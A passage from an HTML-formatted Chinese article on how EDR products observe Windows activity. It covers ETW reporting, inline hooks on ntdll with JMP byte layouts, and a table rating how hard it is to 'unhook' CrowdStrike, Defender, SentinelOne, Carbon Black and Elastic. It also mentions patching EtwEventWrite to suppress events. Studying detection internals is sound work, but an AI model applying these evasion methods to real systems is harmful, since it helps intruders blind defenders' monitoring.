3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">EtwEventWrite</span></code><span leaf=""> 发出，可以在此函数上下钩子或打补丁阻止事件上报；在内核态则可修改 ETW Provider 的启用标志位。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">1.4 用户态 API 钩子（User-land Hooking）</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">EDR 在关键 API 入口处插入跳转指令（通常为 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">JMP</span></code><span leaf=""> 或 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">CALL</span></code><span leaf="">），将执行流重定向到检测代码：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">正常调用链:</span><span leaf=""><br/></span><span leaf="">┌─────────────────┐    ┌───────────────────────┐    ┌──────────┐</span><span leaf=""><br/></span><span leaf="">│ kernel32.dll    │───▶│ ntdll.dll             │───▶│ 内核     │</span><span leaf=""><br/></span><span leaf="">│ CreateProcessA │    │ NtCreateUserProcess   │    │ (syscall)│</span><span leaf=""><br/></span><span leaf="">└─────────────────┘    └───────────────────────┘    └──────────┘</span><span leaf=""><br/></span><span leaf="">被 Hook 后:</span><span leaf=""><br/></span><span leaf="">┌─────────────────┐    ┌──────────┐    ┌───────────────────────┐    ┌──────────┐</span><span leaf=""><br/></span><span leaf="">│ kernel32.dll    │───▶│ EDR 检测 │───▶│ ntdll.dll             │───▶│ 内核     │</span><span leaf=""><br/></span><span leaf="">│ CreateProcessA │    │  代码    │    │ NtCreateUserProcess   │    │ (syscall)│</span><span leaf=""><br/></span><span leaf="">└─────────────────┘    └──────────┘    └───────────────────────┘    └──────────┘</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Hook 实现原理（Inline Hook / Trampoline Hook）：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// EDR Hook 典型实现 - 修改ntdll函数入口</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 原始字节: 4C 8B D1 B8 XX 00 00 00  (mov r10, rcx; mov eax, syscall_num)</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// Hook后:   JMP [EDR_Handler]         (5字节跳转或14字节绝对跳转)</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 32位相对跳转 (5字节, 覆盖mov r10,rcx + mov eax,SSN前5字节)</span></span><span leaf=""><br/></span><span leaf="">E9 XX XX XX XX    </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// JMP rel32</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 64位绝对跳转 (14字节, 避免跳转范围限制, 覆盖前14字节)</span></span><span leaf=""><br/></span><span leaf="">FF </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">25</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">00</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">00</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">00</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">00</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// JMP [rip+0]</span></span><span leaf=""><br/></span><span leaf="">XX XX XX XX XX XX XX XX  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 绝对地址(8字节)</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// EDR Hook后的ntdll!NtWriteVirtualMemory内存布局示例:</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 偏移  字节                    含义</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 0x00  E9 3A 12 00 00         JMP rel32 → EDR Handler (被Hook)</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 0x05  90 90 90 90 90         NOP填充 (原字节被覆盖)</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 0x0A  ...                    函数剩余部分</span></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">主流 EDR Hook 覆盖范围：</span></strong></p><p data-tool="mdnice编辑器" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;overflow-x: auto;"><table style="display: table;text-align: left;"><thead><tr><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">EDR 产品</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">Hook 层级</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">Hook 范围</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">自保护机制</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">Unhook难度</span></p></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">CrowdStrike Falcon</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">ntdll + kernel32</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">进程/线程/内存/文件/注册表</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">驱动保护+回调校验+ETW TI</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★★★</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">Microsoft Defender</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">ntdll</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">进程/内存/文件/AMSI</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">ELAM+云协同+MPMinDriver</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★☆☆</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">SentinelOne</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">ntdll + win32k</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">进程/线程/内存/注册表</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">内核回调+ETW+行为模型</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★★☆</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">Carbon Black</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">ntdll</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">进程/文件/网络</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">驱动保护+云分析</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★☆☆</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">Elastic EDR</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">ntdll</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">进程/文件/网络</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">eBPF(Linux)/ETW(Windows)</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★☆☆☆</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 